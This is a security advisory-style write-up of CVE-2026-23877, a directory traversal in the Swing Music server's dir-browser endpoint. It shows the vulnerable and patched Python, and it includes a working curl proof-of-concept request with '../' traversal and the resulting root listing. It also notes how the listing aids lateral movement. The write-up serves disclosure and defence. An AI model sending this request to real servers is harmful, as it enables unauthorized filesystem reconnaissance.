CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23877
5.30.22%

Swing and a Miss: Authenticated Directory Traversal in Swing Music

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 16, 2026·6 min read·5 visits

PoC Available

Executive Summary (TL;DR)

Authenticated users on Swing Music versions < 2.1.4 can traverse the entire server filesystem using the `/folder/dir-browser` endpoint. The patch enforces admin checks and strict path resolution.

Swing Music, a popular self-hosted music streaming server, contained a critical directory traversal vulnerability in its filesystem browser. This flaw allowed authenticated users—regardless of their privilege level—to break out of the music library sandbox and map the entire host filesystem. While not a direct Remote Code Execution (RCE), the ability to enumerate files and directories provides attackers with a high-definition map of the server, exposing sensitive configuration locations, user home directories, and system binaries.

The Hook: Music to My Ears (and Files)

Self-hosted applications are the playgrounds of the digital age. We spin them up in Docker containers, give them access to our NAS, and trust them to just play the music. Swing Music is one such application—a slick, modern web player that reads your local audio files and streams them to your browser. To do this, it naturally needs access to the filesystem. And that, my friends, is where the trouble usually begins.

In the world of web security, any feature that says "let me look at your files" is a loaded gun. If the developer doesn't meticulously check where the barrel is pointing, the user ends up shooting the server in the foot. In this case, the dir-browser functionality—intended to let users pick folders for their library—was a little too permissive.

It assumed that if a user was logged in, they were trustworthy. It also assumed that Python's pathlib would magically protect it from malicious input. As we'll see, neither assumption held water. This vulnerability is a classic case of "Implicit Trust" meeting "Naive Implementation," resulting in a directory traversal flaw that turns a music player into a file system explorer.

The Flaw: Trusting the User's Map

The vulnerability resides in the list_folders() function backing the /folder/dir-browser endpoint. The purpose of this endpoint is simple: the frontend sends a path, and the backend returns the folders inside it. This allows the UI to render a nice tree view for selecting music directories.

Here is the logic failure: The application accepted a path from the user's JSON payload and essentially said, "Sure, let's go there." There was a check, but it was practically cosmetic. The code checked if the directory existed, and if not, prepended a slash. It did not resolve symbolic links, nor did it canonicalize the path to remove traversal sequences like ../.

> [!NOTE] > The Golden Rule of Input Validation: > Never trust a path provided by a client until you have resolved it to its absolute form and verified it starts with a trusted root directory.

Swing Music failed both parts of this rule. It treated the input path as a suggestion rather than a potential attack vector. By supplying ../../, an attacker effectively tells the server: "I know you want to look in /music, but let's take two steps back and look at / instead." Because the application didn't enforce a "chroot" or sandbox logic, the operating system happily obliged.

The Code: Anatomy of a Traversal

Let's get our hands dirty with the code. The vulnerable implementation relied on Python's pathlib, which is generally excellent, but it doesn't prevent you from shooting yourself in the foot if you use it wrong.

The Vulnerable Logic:

# The naive implementation
req_dir = Path(data.get("folder"))
 
# If it doesn't exist relative to CWD, try absolute?
if not req_dir.exists():
    req_dir = "/" / req_dir
 
# Proceed to list files...
return list_folders(req_dir)

The issue here is the / operator in pathlib. If req_dir is ../../etc, the result is just ../../etc. It doesn't strip the dots. It doesn't lock you into a jail.

The Fix (Commit 9a915ca62...):

The developer, wanji, implemented a textbook defense-in-depth fix. They didn't just patch the path; they patched the permission model.

  1. Authorization: They added @admin_required(). Now, even if you can traverse directories, you need to be an admin (who arguably has access anyway).
  2. Canonicalization: They used .resolve().
  3. Sandboxing: They checked if the resolved path is actually inside the config's root directories.
# The hardened implementation
def is_path_within_root_dirs(filepath: str) -> bool:
    config = UserConfig()
    # .resolve() removes all symlinks and '../' segments
    resolved_path = Path(filepath).resolve()
    
    for root_dir in config.rootDirs:
        root_path = Path(root_dir).resolve()
        # Check if the requested path is a child of a trusted root
        if resolved_path == root_path or root_path in resolved_path.parents:
            return True
    return False

This is the difference between a "blacklist" (trying to block ..) and a "whitelist" (only allowing specific parents). Whitelists always win.

The Exploit: Walking the Tree

Exploiting this requires a valid session token. In a real-world scenario, this might be a low-privileged user account (e.g., a family member or guest with access to the music server). Once we have the Bearer token, the attack is trivial.

The Setup: We intercept the request the browser makes when clicking "Add Folder".

The Attack: We modify the JSON body to traverse up from the application directory to the system root.

curl -X POST http://target-ip:1970/folder/dir-browser \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -d '{"folder": "../../../../../../"}'

The Response: Instead of an error or a music folder, the server returns the contents of /:

[
  {
    "name": "bin",
    "path": "/bin",
    "is_dir": true
  },
  {
    "name": "etc",
    "path": "/etc",
    "is_dir": true
  },
  {
    "name": "root",
    "path": "/root",
    "is_dir": true
  }
]

From here, an attacker can map out the entire filesystem structure. While this endpoint lists directories (and files), it doesn't strictly read file content. However, knowing that a file named backup_credentials.txt exists in /opt/backups is 90% of the battle in a lateral movement phase.

The Impact: Silent Cartography

Why does this matter if I can't read /etc/shadow directly? Because information is ammunition. This vulnerability falls under CWE-25 (Path Traversal) and T1083 (File and Directory Discovery) in the MITRE ATT&CK framework.

  1. Reconnaissance: An attacker can identify installed software, version numbers (by folder names), and operating system details.
  2. Config Discovery: Finding configuration files for other services running on the same box (e.g., finding a docker-compose.yml in a user's home folder).
  3. Lateral Movement Prep: If the server is running as root (which, terrifically, many self-hosted Docker containers do by default), the attacker can confirm the existence of SSH keys (/root/.ssh).

While the CVSS score is a moderate 5.3, the contextual risk is higher in self-hosted "homelab" environments where segregation is often poor and containers run with excessive privileges.

The Fix: Closing the Curtain

If you are running Swing Music, update to version 2.1.4 or later immediately. The developer has patched this effectively by enforcing strict boundary checks.

If you cannot update for some reason (perhaps you enjoy living dangerously), you should ensure your Swing Music instance is not exposed to the public internet and that you trust every user you've given an account to. But really, just update.

For developers reading this: take note of the is_path_within_root_dirs logic. This is the correct way to handle filesystem access. Do not trust strings. Resolve them to objects, canonicalize them, and check their lineage against a list of approved ancestors.

Official Patches

swingmxGitHub Commit fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.22%
Top 55% most exploited

Affected Systems

Swing Music < 2.1.4

Affected Versions Detail

Product
Affected Versions
Fixed Version
Swing Music
swingmx
< 2.1.42.1.4
AttributeDetail
CWE IDCWE-25 (Path Traversal)
CVSS v4.05.3 (Medium)
Attack VectorNetwork (Authenticated)
EPSS Score0.22% (Low)
ImpactInformation Disclosure (File Enumeration)
Patch StatusFixed in 2.1.4

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1021Remote Services
Lateral Movement
CWE-25
Path Traversal: '/../filedir'

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Known Exploits & Detection

N/AThe advisory details the HTTP POST method used to exploit the traversal.
NucleiDetection Template Available

Vulnerability Timeline

Patch committed by developer
2026-01-18
GHSA Advisory Published
2026-01-19
CVE-2026-23877 Assigned
2026-01-19

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.